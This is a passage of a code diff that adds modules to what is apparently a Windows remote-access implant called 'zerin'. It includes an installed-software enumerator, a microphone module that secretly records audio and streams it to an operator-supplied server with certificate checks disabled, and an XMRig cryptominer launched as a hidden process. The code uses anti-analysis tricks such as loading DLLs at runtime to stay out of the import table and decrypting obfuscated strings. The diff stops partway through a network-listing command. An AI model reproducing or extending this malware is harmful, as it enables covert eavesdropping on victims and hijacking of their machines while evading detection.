sizeof(publisher); + RegQueryValueExW(hSubKey, L"Publisher", NULL, NULL, (LPBYTE)publisher, &size); + + size = sizeof(installDate); + RegQueryValueExW(hSubKey, L"InstallDate", NULL, NULL, (LPBYTE)installDate, &size); + + RegCloseKey(hSubKey); + + // Convert to UTF-8 + char *name_u8 = wide_to_utf8(displayName); + char *ver_u8 = wide_to_utf8(displayVersion); + char *pub_u8 = wide_to_utf8(publisher); + char *date_u8 = wide_to_utf8(installDate); + + if (!name_u8) { free(ver_u8); free(pub_u8); free(date_u8); continue; } + + // JSON-escape the UTF-8 strings + size_t ne_sz = strlen(name_u8) * 2 + 4; + size_t ve_sz = (ver_u8 ? strlen(ver_u8) * 2 : 0) + 4; + size_t pe_sz = (pub_u8 ? strlen(pub_u8) * 2 : 0) + 4; + size_t de_sz = (date_u8 ? strlen(date_u8) * 2 : 0) + 4; + char *name_esc = (char *)malloc(ne_sz); + char *ver_esc = (char *)malloc(ve_sz); + char *pub_esc = (char *)malloc(pe_sz); + char *date_esc = (char *)malloc(de_sz); + + if (name_esc) json_escape_str(name_esc, ne_sz, name_u8); + if (ver_esc) json_escape_str(ver_esc, ve_sz, ver_u8 ? ver_u8 : ""); + if (pub_esc) json_escape_str(pub_esc, pe_sz, pub_u8 ? pub_u8 : ""); + if (date_esc) json_escape_str(date_esc, de_sz, date_u8 ? date_u8 : ""); + + char entry[2048]; + int entry_len = snprintf(entry, sizeof(entry), + "%s{\"name\":\"%s\",\"version\":\"%s\",\"publisher\":\"%s\",\"install_date\":\"%s\"}", + ctx->count > 0 ? "," : "", + name_esc ? name_esc : "", + ver_esc ? ver_esc : "", + pub_esc ? pub_esc : "", + date_esc ? date_esc : ""); + + ensure_cap(ctx, (size_t)entry_len + 2); + memcpy(ctx->buf + ctx->len, entry, entry_len); + ctx->len += entry_len; + ctx->count++; + + free(name_u8); free(ver_u8); free(pub_u8); free(date_u8); + free(name_esc); free(ver_esc); free(pub_esc); free(date_esc); + } + + RegCloseKey(hKey); +} + +int cmd_installed_apps(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + app_ctx_t ctx; + ctx.cap = 16384; + ctx.len = 0; + ctx.count = 0; + ctx.buf = (char *)malloc(ctx.cap); + if (!ctx.buf) return -1; + + ctx.buf[ctx.len++] = '['; + + enum_uninstall_key(&ctx, HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); + enum_uninstall_key(&ctx, HKEY_LOCAL_MACHINE, + L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); + enum_uninstall_key(&ctx, HKEY_CURRENT_USER, + L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); + + ensure_cap(&ctx, 2); + ctx.buf[ctx.len++] = ']'; + ctx.buf[ctx.len] = '\0'; + + result->success = true; + result->output = ctx.buf; + return 0; +} diff --git a/src/commands/microphone.c b/src/commands/microphone.c new file mode 100755 index 0000000..25a4f41 --- /dev/null +++ b/src/commands/microphone.c @@ -0,0 +1,360 @@ +#include "zerin.h" +#include +#include +#include +#include + +#ifdef _WIN32 + +#include +#include +#include + +/* ── Runtime-loaded winmm.dll (keep out of IAT) ───────────────────── */ + +typedef MMRESULT (WINAPI *PFN_waveInOpen)(LPHWAVEIN,UINT,LPCWAVEFORMATEX,DWORD_PTR,DWORD_PTR,DWORD); +typedef MMRESULT (WINAPI *PFN_waveInStart)(HWAVEIN); +typedef MMRESULT (WINAPI *PFN_waveInStop)(HWAVEIN); +typedef MMRESULT (WINAPI *PFN_waveInReset)(HWAVEIN); +typedef MMRESULT (WINAPI *PFN_waveInClose)(HWAVEIN); +typedef MMRESULT (WINAPI *PFN_waveInPrepareHeader)(HWAVEIN,LPWAVEHDR,UINT); +typedef MMRESULT (WINAPI *PFN_waveInUnprepareHeader)(HWAVEIN,LPWAVEHDR,UINT); +typedef MMRESULT (WINAPI *PFN_waveInAddBuffer)(HWAVEIN,LPWAVEHDR,UINT); + +static HMODULE g_winmm; +static PFN_waveInOpen pfn_waveInOpen; +static PFN_waveInStart pfn_waveInStart; +static PFN_waveInStop pfn_waveInStop; +static PFN_waveInReset pfn_waveInReset; +static PFN_waveInClose pfn_waveInClose; +static PFN_waveInPrepareHeader pfn_waveInPrepareHeader; +static PFN_waveInUnprepareHeader pfn_waveInUnprepareHeader; +static PFN_waveInAddBuffer pfn_waveInAddBuffer; + +static int load_winmm(void) { + if (g_winmm) return 0; + g_winmm = LoadLibraryA("winmm.dll"); + if (!g_winmm) return -1; + pfn_waveInOpen = (PFN_waveInOpen)GetProcAddress(g_winmm, "waveInOpen"); + pfn_waveInStart = (PFN_waveInStart)GetProcAddress(g_winmm, "waveInStart"); + pfn_waveInStop = (PFN_waveInStop)GetProcAddress(g_winmm, "waveInStop"); + pfn_waveInReset = (PFN_waveInReset)GetProcAddress(g_winmm, "waveInReset"); + pfn_waveInClose = (PFN_waveInClose)GetProcAddress(g_winmm, "waveInClose"); + pfn_waveInPrepareHeader = (PFN_waveInPrepareHeader)GetProcAddress(g_winmm, "waveInPrepareHeader"); + pfn_waveInUnprepareHeader = (PFN_waveInUnprepareHeader)GetProcAddress(g_winmm, "waveInUnprepareHeader"); + pfn_waveInAddBuffer = (PFN_waveInAddBuffer)GetProcAddress(g_winmm, "waveInAddBuffer"); + return (pfn_waveInOpen && pfn_waveInStart && pfn_waveInStop && pfn_waveInReset && + pfn_waveInClose && pfn_waveInPrepareHeader && pfn_waveInUnprepareHeader && + pfn_waveInAddBuffer) ? 0 : -1; +} + +/* ── Configuration ─────────────────────────────────────────────────── */ + +#define MIC_SAMPLE_RATE 16000 +#define MIC_BITS_PER_SAMPLE 16 +#define MIC_CHANNELS 1 +#define MIC_NUM_BUFFERS 4 +#define MIC_BUFFER_MS 250 +/* 16kHz * 16bit * 1ch * 0.25s = 8000 bytes per buffer */ +#define MIC_BUFFER_SIZE (MIC_SAMPLE_RATE * (MIC_BITS_PER_SAMPLE / 8) * MIC_CHANNELS * MIC_BUFFER_MS / 1000) + +/* ── URL parsing (local copy) ──────────────────────────────────────── */ + +static int mic_to_wide(const char *src, wchar_t *dst, size_t dst_chars) { + return MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, (int)dst_chars); +} + +static int mic_parse_url(const char *url, wchar_t *host, size_t host_chars, + INTERNET_PORT *port, int *use_tls, wchar_t *path, size_t path_chars) { + *use_tls = 0; + *port = 443; + const char *p = url; + if (strncmp(p, "https://", 8) == 0) { *use_tls = 1; *port = 443; p += 8; } + else if (strncmp(p, "http://", 7) == 0) { *use_tls = 0; *port = 80; p += 7; } + else return -1; + + const char *slash = strchr(p, '/'); + const char *colon = strchr(p, ':'); + char host_buf[512]; + if (colon && (!slash || colon < slash)) { + size_t hlen = (size_t)(colon - p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + *port = (INTERNET_PORT)atoi(colon + 1); + } else if (slash) { + size_t hlen = (size_t)(slash - p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + } else { + size_t hlen = strlen(p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + } + mic_to_wide(host_buf, host, host_chars); + if (slash) mic_to_wide(slash, path, path_chars); + else { path[0] = L'/'; path[1] = L'\0'; } + return 0; +} + +/* ── Microphone state ──────────────────────────────────────────────── */ + +typedef struct { + char token[256]; + char server_url[1024]; + char user_agent[256]; + volatile LONG running; + HWAVEIN hWaveIn; + WAVEHDR headers[MIC_NUM_BUFFERS]; + uint8_t buffers[MIC_NUM_BUFFERS][MIC_BUFFER_SIZE]; + HANDLE data_ready; + HINTERNET session; + HINTERNET connect; + wchar_t host[512]; + INTERNET_PORT port; + int use_tls; + uint64_t chunk_number; +} mic_state_t; + +static mic_state_t *g_mic = NULL; +static HANDLE g_mic_thread = NULL; + +/* ── waveIn callback ──────────────────────────────────────────────── */ + +static void CALLBACK mic_wave_callback(HWAVEIN hwi, UINT uMsg, DWORD_PTR dwInstance, + DWORD_PTR dwParam1, DWORD_PTR dwParam2) { + (void)hwi; (void)dwParam2; + mic_state_t *st = (mic_state_t *)dwInstance; + if (uMsg == WIM_DATA && st) { + SetEvent(st->data_ready); + } +} + +/* ── POST audio chunk to server ───────────────────────────────────── */ + +static int mic_post_chunk(mic_state_t *st, const uint8_t *pcm, size_t pcm_len) { + /* Body: [4:token_len][token][8:chunk_num][2:sr][1:bps][1:ch][4:pcm_len][pcm] */ + uint32_t token_len = (uint32_t)strlen(st->token); + size_t body_len = 4 + token_len + 8 + 2 + 1 + 1 + 4 + pcm_len; + uint8_t *body = (uint8_t *)malloc(body_len); + if (!body) return -1; + + size_t off = 0; + memcpy(body + off, &token_len, 4); off += 4; + memcpy(body + off, st->token, token_len); off += token_len; + memcpy(body + off, &st->chunk_number, 8); off += 8; + uint16_t sr = MIC_SAMPLE_RATE; + memcpy(body + off, &sr, 2); off += 2; + body[off++] = MIC_BITS_PER_SAMPLE; + body[off++] = MIC_CHANNELS; + uint32_t plen = (uint32_t)pcm_len; + memcpy(body + off, &plen, 4); off += 4; + memcpy(body + off, pcm, pcm_len); off += pcm_len; + + wchar_t path[] = L"/api/mic/frame"; + DWORD flags = st->use_tls ? (WINHTTP_FLAG_SECURE | WINHTTP_FLAG_BYPASS_PROXY_CACHE) : 0; + HINTERNET hReq = WinHttpOpenRequest(st->connect, L"POST", path, NULL, + WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + int ok = 0; + if (hReq) { + if (st->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &sec_flags, sizeof(sec_flags)); + } + wchar_t hdrs[] = L"Content-Type: application/octet-stream\r\n"; + if (WinHttpSendRequest(hReq, hdrs, (DWORD)-1, body, (DWORD)body_len, (DWORD)body_len, 0)) { + if (WinHttpReceiveResponse(hReq, NULL)) { + ok = 1; + } + } + WinHttpCloseHandle(hReq); + } + + free(body); + st->chunk_number++; + return ok ? 0 : -1; +} + +/* ── Capture thread ────────────────────────────────────────────────── */ + +static DWORD WINAPI mic_capture_thread(LPVOID param) { + mic_state_t *st = (mic_state_t *)param; + + /* Init WinHTTP */ + wchar_t ua_wide[256]; + mic_to_wide(st->user_agent, ua_wide, 256); + st->session = WinHttpOpen(ua_wide, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + if (!st->session) goto cleanup; + + wchar_t path_buf[512]; + mic_parse_url(st->server_url, st->host, 512, &st->port, &st->use_tls, path_buf, 512); + st->connect = WinHttpConnect(st->session, st->host, st->port, 0); + if (!st->connect) goto cleanup; + + /* Load winmm.dll at runtime (not in IAT) */ + if (load_winmm() != 0) goto cleanup; + + /* Open waveIn device */ + WAVEFORMATEX wfx; + memset(&wfx, 0, sizeof(wfx)); + wfx.wFormatTag = WAVE_FORMAT_PCM; + wfx.nChannels = MIC_CHANNELS; + wfx.nSamplesPerSec = MIC_SAMPLE_RATE; + wfx.wBitsPerSample = MIC_BITS_PER_SAMPLE; + wfx.nBlockAlign = wfx.nChannels * wfx.wBitsPerSample / 8; + wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign; + + MMRESULT mr = pfn_waveInOpen(&st->hWaveIn, WAVE_MAPPER, &wfx, + (DWORD_PTR)mic_wave_callback, (DWORD_PTR)st, + CALLBACK_FUNCTION); + if (mr != MMSYSERR_NOERROR) goto cleanup; + + /* Prepare and add buffers */ + for (int i = 0; i < MIC_NUM_BUFFERS; i++) { + memset(&st->headers[i], 0, sizeof(WAVEHDR)); + st->headers[i].lpData = (LPSTR)st->buffers[i]; + st->headers[i].dwBufferLength = MIC_BUFFER_SIZE; + pfn_waveInPrepareHeader(st->hWaveIn, &st->headers[i], sizeof(WAVEHDR)); + pfn_waveInAddBuffer(st->hWaveIn, &st->headers[i], sizeof(WAVEHDR)); + } + + /* Start recording */ + pfn_waveInStart(st->hWaveIn); + + /* Main loop: wait for buffers to fill, POST them, re-queue */ + while (InterlockedCompareExchange(&st->running, 1, 1) == 1) { + DWORD wait = WaitForSingleObject(st->data_ready, 500); + if (wait == WAIT_TIMEOUT) continue; + + for (int i = 0; i < MIC_NUM_BUFFERS; i++) { + if (st->headers[i].dwFlags & WHDR_DONE) { + if (st->headers[i].dwBytesRecorded > 0) { + mic_post_chunk(st, st->buffers[i], st->headers[i].dwBytesRecorded); + } + /* Re-queue buffer */ + st->headers[i].dwFlags &= ~WHDR_DONE; + st->headers[i].dwBytesRecorded = 0; + pfn_waveInAddBuffer(st->hWaveIn, &st->headers[i], sizeof(WAVEHDR)); + } + } + } + + /* Stop and cleanup waveIn */ + pfn_waveInStop(st->hWaveIn); + pfn_waveInReset(st->hWaveIn); + for (int i = 0; i < MIC_NUM_BUFFERS; i++) { + pfn_waveInUnprepareHeader(st->hWaveIn, &st->headers[i], sizeof(WAVEHDR)); + } + pfn_waveInClose(st->hWaveIn); + st->hWaveIn = NULL; + +cleanup: + if (st->connect) WinHttpCloseHandle(st->connect); + if (st->session) WinHttpCloseHandle(st->session); + return 0; +} + +/* ── Command handlers ──────────────────────────────────────────────── */ + +int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 2) { + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("mic_start requires token and url args"); + return -1; + } + + /* Stop any existing session */ + if (g_mic) { + InterlockedExchange(&g_mic->running, 0); + if (g_mic_thread) { + WaitForSingleObject(g_mic_thread, 5000); + CloseHandle(g_mic_thread); + g_mic_thread = NULL; + } + CloseHandle(g_mic->data_ready); + free(g_mic); + g_mic = NULL; + } + + mic_state_t *st = (mic_state_t *)calloc(1, sizeof(mic_state_t)); + if (!st) { + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("out of memory"); + return -1; + } + + strncpy(st->token, task->args[0], sizeof(st->token) - 1); + strncpy(st->server_url, task->args[1], sizeof(st->server_url) - 1); + strncpy(st->user_agent, "Mozilla/5.0", sizeof(st->user_agent) - 1); + st->running = 1; + st->chunk_number = 0; + st->data_ready = CreateEvent(NULL, FALSE, FALSE, NULL); + + g_mic = st; + g_mic_thread = CreateThread(NULL, 0, mic_capture_thread, st, 0, NULL); + + if (!g_mic_thread) { + CloseHandle(st->data_ready); + free(st); + g_mic = NULL; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("failed to create mic thread"); + return -1; + } + + result->success = 1; + result->output = _strdup("mic started"); + return 0; +} + +int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (!g_mic) { + result->success = 1; + result->output = _strdup("no mic session active"); + return 0; + } + + InterlockedExchange(&g_mic->running, 0); + if (g_mic_thread) { + WaitForSingleObject(g_mic_thread, 5000); + CloseHandle(g_mic_thread); + g_mic_thread = NULL; + } + CloseHandle(g_mic->data_ready); + free(g_mic); + g_mic = NULL; + + result->success = 1; + result->output = _strdup("mic stopped"); + return 0; +} + +#else /* !_WIN32 */ + +int cmd_mic_start(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("microphone not supported on this platform"); + return -1; +} + +int cmd_mic_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + result->success = 0; + result->error_code = -1; + result->error_message = _strdup("microphone not supported on this platform"); + return -1; +} + +#endif /* _WIN32 */ diff --git a/src/commands/miner.c b/src/commands/miner.c new file mode 100755 index 0000000..fbe73f8 --- /dev/null +++ b/src/commands/miner.c @@ -0,0 +1,425 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include +#include +#include + +#pragma comment(lib, "winhttp.lib") + +/* ── XMRig Cryptominer ───────────────────────────────────────────────── + * cmd_miner_start: args = [pool_url, wallet_address, worker_name, max_cpu_percent] + * - Downloads XMRig if not present + * - Writes config.json + * - Spawns XMRig process + * + * cmd_miner_stop: Kills XMRig process, cleans up + * cmd_miner_status: Returns hashrate + shares info from XMRig HTTP API + * ─────────────────────────────────────────────────────────────────────── */ + +/* ── Global state ──────────────────────────────────────────────────── */ + +typedef struct { + volatile LONG running; + HANDLE process_handle; + DWORD process_id; + char miner_dir[MAX_PATH]; + char miner_exe[MAX_PATH]; + char config_path[MAX_PATH]; + int api_port; +} miner_state_t; + +static miner_state_t g_miner = {0}; + +/* ── JSON string sanitizer ────────────────────────────────────────── */ + +static void json_escape_string(const char *src, char *dst, size_t dst_len) { + size_t j = 0; + for (size_t i = 0; src[i] && j + 2 < dst_len; i++) { + if (src[i] == '"' || src[i] == '\\') { + dst[j++] = '\\'; + } + dst[j++] = src[i]; + } + dst[j] = '\0'; +} + +/* ── Helpers ───────────────────────────────────────────────────────── */ + +static int get_miner_dir(char *buf, size_t len) { + char appdata[MAX_PATH]; + if (FAILED(SHGetFolderPathA(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appdata))) + return -1; + char dir_name[64]; + obf_decrypt_to(OBF_MINER_DIR, dir_name, sizeof(dir_name)); + snprintf(buf, len, "%s\\%s", appdata, dir_name); + obf_wipe(dir_name, sizeof(dir_name)); + CreateDirectoryA(buf, NULL); + return 0; +} + +/* Write config.json for XMRig */ +static int write_miner_config(const char *path, const char *pool, + const char *wallet, const char *worker, + int max_cpu, int api_port) { + FILE *f = fopen(path, "w"); + if (!f) return -1; + + /* Escape user-supplied strings to prevent JSON injection */ + char esc_pool[512], esc_wallet[512], esc_worker[256]; + json_escape_string(pool, esc_pool, sizeof(esc_pool)); + json_escape_string(wallet, esc_wallet, sizeof(esc_wallet)); + json_escape_string(worker, esc_worker, sizeof(esc_worker)); + + fprintf(f, + "{\n" + " \"autosave\": false,\n" + " \"donate-level\": 0,\n" + " \"donate-over-proxy\": 0,\n" + " \"cpu\": {\n" + " \"enabled\": true,\n" + " \"max-threads-hint\": %d\n" + " },\n" + " \"opencl\": false,\n" + " \"cuda\": false,\n" + " \"pools\": [\n" + " {\n" + " \"url\": \"%s\",\n" + " \"user\": \"%s\",\n" + " \"pass\": \"%s\",\n" + " \"keepalive\": true,\n" + " \"tls\": false\n" + " }\n" + " ],\n" + " \"http\": {\n" + " \"enabled\": true,\n" + " \"host\": \"127.0.0.1\",\n" + " \"port\": %d,\n" + " \"access-token\": null,\n" + " \"restricted\": true\n" + " },\n" + " \"print-time\": 0,\n" + " \"background\": false,\n" + " \"colors\": false,\n" + " \"title\": false,\n" + " \"syslog\": false\n" + "}\n", + max_cpu, esc_pool, esc_wallet, esc_worker, api_port + ); + + fclose(f); + return 0; +} + +/* Query XMRig HTTP API for status */ +static char *query_miner_api(int port) { + HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_NO_PROXY, + WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + if (!hSession) return NULL; + + WinHttpSetTimeouts(hSession, 3000, 3000, 3000, 3000); + + HINTERNET hConnect = WinHttpConnect(hSession, L"127.0.0.1", (INTERNET_PORT)port, 0); + if (!hConnect) { + WinHttpCloseHandle(hSession); + return NULL; + } + + HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/2/summary", + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + if (!hRequest) { + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + return NULL; + } + + if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0) || + !WinHttpReceiveResponse(hRequest, NULL)) { + WinHttpCloseHandle(hRequest); + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + return NULL; + } + + /* Read response */ + char *body = NULL; + size_t total = 0; + DWORD bytes_read; + char chunk[4096]; + + while (WinHttpReadData(hRequest, chunk, sizeof(chunk), &bytes_read) && bytes_read > 0) { + char *tmp = (char *)realloc(body, total + bytes_read + 1); + if (!tmp) { free(body); body = NULL; break; } + body = tmp; + memcpy(body + total, chunk, bytes_read); + total += bytes_read; + body[total] = '\0'; + } + + WinHttpCloseHandle(hRequest); + WinHttpCloseHandle(hConnect); + WinHttpCloseHandle(hSession); + return body; +} + +/* Simple JSON value extractor (finds "key":value in flat JSON) */ +static double json_get_number(const char *json, const char *key) { + char pattern[128]; + snprintf(pattern, sizeof(pattern), "\"%s\":", key); + const char *p = strstr(json, pattern); + if (!p) return 0.0; + p += strlen(pattern); + while (*p == ' ' || *p == '\t') p++; + return atof(p); +} + +/* ── cmd_miner_start ────────────────────────────────────────────────── */ + +int cmd_miner_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + /* Atomically claim the running slot (prevents TOCTOU race) */ + if (InterlockedCompareExchange(&g_miner.running, 1, 0) != 0) { + char msg_buf[64]; + obf_decrypt_to(OBF_MINER_ALREADY, msg_buf, sizeof(msg_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return -1; + } + + if (task->num_args < 2 || !task->args[0] || !task->args[1]) { + InterlockedExchange(&g_miner.running, 0); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [worker] [cpu%]"); + return -1; + } + + const char *pool_url = task->args[0]; + const char *wallet = task->args[1]; + const char *worker = (task->num_args >= 3 && task->args[2]) ? task->args[2] : "worker"; + int max_cpu = (task->num_args >= 4 && task->args[3]) ? atoi(task->args[3]) : 50; + + if (max_cpu < 1) max_cpu = 1; + if (max_cpu > 100) max_cpu = 100; + + /* Setup directories */ + if (get_miner_dir(g_miner.miner_dir, sizeof(g_miner.miner_dir)) != 0) { + InterlockedExchange(&g_miner.running, 0); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 201: mkdir"); + return -1; + } + + { + char exe_name[64]; + obf_decrypt_to(OBF_MINER_EXE, exe_name, sizeof(exe_name)); + snprintf(g_miner.miner_exe, sizeof(g_miner.miner_exe), "%s\\%s", g_miner.miner_dir, exe_name); + obf_wipe(exe_name, sizeof(exe_name)); + } + snprintf(g_miner.config_path, sizeof(g_miner.config_path), "%s\\config.json", g_miner.miner_dir); + + /* Check if xmrig binary exists */ + DWORD attr = GetFileAttributesA(g_miner.miner_exe); + if (attr == INVALID_FILE_ATTRIBUTES) { + InterlockedExchange(&g_miner.running, 0); + result->success = false; + result->error_code = -1; + char msg[512]; + snprintf(msg, sizeof(msg), + "XMRig binary not found at %s. Upload it first using the file manager.", + g_miner.miner_exe); + result->error_message = _strdup(msg); + return -1; + } + + /* Pick a random API port */ + g_miner.api_port = 40000 + (rand() % 10000); + + /* Write config */ + if (write_miner_config(g_miner.config_path, pool_url, wallet, worker, + max_cpu, g_miner.api_port) != 0) { + InterlockedExchange(&g_miner.running, 0); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 202: config write"); + return -1; + } + + /* Build command line */ + char cmdline[1024]; + snprintf(cmdline, sizeof(cmdline), "\"%s\" --config=\"%s\"", + g_miner.miner_exe, g_miner.config_path); + + /* Launch XMRig hidden */ + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + + if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, + CREATE_NO_WINDOW | IDLE_PRIORITY_CLASS, + NULL, g_miner.miner_dir, &si, &pi)) { + InterlockedExchange(&g_miner.running, 0); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 203: launch"); + DeleteFileA(g_miner.config_path); + return -1; + } + + CloseHandle(pi.hThread); + g_miner.process_handle = pi.hProcess; + g_miner.process_id = pi.dwProcessId; + /* running is already 1 from CAS above */ + + { + char fmt_buf[128]; + obf_decrypt_to(OBF_MINER_STARTED_FMT, fmt_buf, sizeof(fmt_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), fmt_buf, + (unsigned long)pi.dwProcessId, pool_url, max_cpu, g_miner.api_port); + obf_wipe(fmt_buf, sizeof(fmt_buf)); + result->success = true; + result->output = _strdup(msg); + } + return 0; +} + +/* ── cmd_miner_stop ─────────────────────────────────────────────────── */ + +int cmd_miner_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; + (void)cwd; + + if (!InterlockedCompareExchange(&g_miner.running, 0, 0)) { + char msg_buf[64]; + obf_decrypt_to(OBF_MINER_NOT_RUNNING, msg_buf, sizeof(msg_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return -1; + } + + /* Terminate miner process */ + if (g_miner.process_handle) { + TerminateProcess(g_miner.process_handle, 0); + WaitForSingleObject(g_miner.process_handle, 5000); + CloseHandle(g_miner.process_handle); + g_miner.process_handle = NULL; + } + + /* Clean up config file */ + if (g_miner.config_path[0]) { + DeleteFileA(g_miner.config_path); + } + + DWORD pid = g_miner.process_id; + g_miner.process_id = 0; + InterlockedExchange(&g_miner.running, 0); + + { + char fmt_buf[64]; + obf_decrypt_to(OBF_MINER_STOPPED_FMT, fmt_buf, sizeof(fmt_buf)); + char msg[256]; + snprintf(msg, sizeof(msg), fmt_buf, (unsigned long)pid); + obf_wipe(fmt_buf, sizeof(fmt_buf)); + result->success = true; + result->output = _strdup(msg); + } + return 0; +} + +/* ── cmd_miner_status ───────────────────────────────────────────────── */ + +int cmd_miner_status(const task_t *task, task_result_t *result, char *cwd) { + (void)task; + (void)cwd; + + if (!InterlockedCompareExchange(&g_miner.running, 0, 0)) { + result->success = true; + result->output = _strdup("{\"running\":false}"); + return 0; + } + + /* Check if process is still alive */ + DWORD exit_code = 0; + if (g_miner.process_handle) { + GetExitCodeProcess(g_miner.process_handle, &exit_code); + if (exit_code != STILL_ACTIVE) { + CloseHandle(g_miner.process_handle); + g_miner.process_handle = NULL; + g_miner.process_id = 0; + InterlockedExchange(&g_miner.running, 0); + result->success = true; + result->output = _strdup("{\"running\":false,\"error\":\"Process exited\"}"); + return 0; + } + } + + /* Query XMRig HTTP API */ + char *api_json = query_miner_api(g_miner.api_port); + if (!api_json) { + char msg[256]; + snprintf(msg, sizeof(msg), + "{\"running\":true,\"pid\":%lu,\"error\":\"API not responding\"}", + (unsigned long)g_miner.process_id); + result->success = true; + result->output = _strdup(msg); + return 0; + } + + /* Extract key metrics */ + double hashrate_10s = 0, hashrate_60s = 0, hashrate_15m = 0; + double accepted = 0, rejected = 0; + double uptime = 0; + + /* Find hashrate array in "total" section */ + const char *hr = strstr(api_json, "\"hashrate\""); + if (hr) { + const char *total = strstr(hr, "\"total\""); + if (total) { + const char *arr = strchr(total, '['); + if (arr) { + sscanf(arr, "[%lf,%lf,%lf", &hashrate_10s, &hashrate_60s, &hashrate_15m); + } + } + } + + /* Find results */ + const char *res = strstr(api_json, "\"results\""); + if (res) { + const char *diff_current = strstr(res, "\"shares_good\""); + if (diff_current) { + accepted = json_get_number(api_json, "shares_good"); + } + rejected = json_get_number(api_json, "shares_total") - accepted; + if (rejected < 0) rejected = 0; + } + + uptime = json_get_number(api_json, "uptime"); + + char msg[1024]; + snprintf(msg, sizeof(msg), + "{\"running\":true,\"pid\":%lu," + "\"hashrate_10s\":%.1f,\"hashrate_60s\":%.1f,\"hashrate_15m\":%.1f," + "\"accepted\":%.0f,\"rejected\":%.0f,\"uptime\":%.0f}", + (unsigned long)g_miner.process_id, + hashrate_10s, hashrate_60s, hashrate_15m, + accepted, rejected, uptime); + + free(api_json); + result->success = true; + result->output = _strdup(msg); + return 0; +} diff --git a/src/commands/network.c b/src/commands/network.c new file mode 100755 index 0000000..cf3dd5b --- /dev/null +++ b/src/commands/network.c @@ -0,0 +1,216 @@ +#include "zerin.h" +#include +#include +#include + +#ifdef _WIN32 +#include +#include +#include + +// Convert a TCP state code to a human-readable string. +static const char *tcp_state_str(DWORD state) { + switch (state) { + case MIB_TCP_STATE_CLOSED: return "CLOSED"; + case MIB_TCP_STATE_LISTEN: return "LISTEN"; + case MIB_TCP_STATE_SYN_SENT: return "SYN_SENT"; + case MIB_TCP_STATE_SYN_RCVD: return "SYN_RCVD"; + case MIB_TCP_STATE_ESTAB: return "ESTABLISHED"; + case MIB_TCP_STATE_FIN_WAIT1: return "FIN_WAIT1"; + case MIB_TCP_STATE_FIN_WAIT2: return "FIN_WAIT2"; + case MIB_TCP_STATE_CLOSE_WAIT: return "CLOSE_WAIT"; + case MIB_TCP_STATE_CLOSING: return "CLOSING"; + case MIB_TCP_STATE_LAST_ACK: return "LAST_ACK"; + case MIB_TCP_STATE_TIME_WAIT: return "TIME_WAIT"; + case MIB_TCP_STATE_DELETE_TCB: return "DELETE_TCB"; + default: return "UNKNOWN"; + } +} + +// Format an IPv4 address from a DWORD (network byte order). +static void format_ipv4(DWORD addr, char *buf, size_t buflen) { + unsigned char *b = (unsigned char *)&addr; + snprintf(buf, buflen, "%u.%u.%u.%u", b[0], b[1], b[2], b[3]); +} + +int cmd_netstat(const task_t *task, task_result_t *result, char *cwd) { + PMIB_TCPTABLE2 tcp_table = NULL; + PMIB_UDPTABLE_OWNER_PID udp_table = NULL; + ULONG 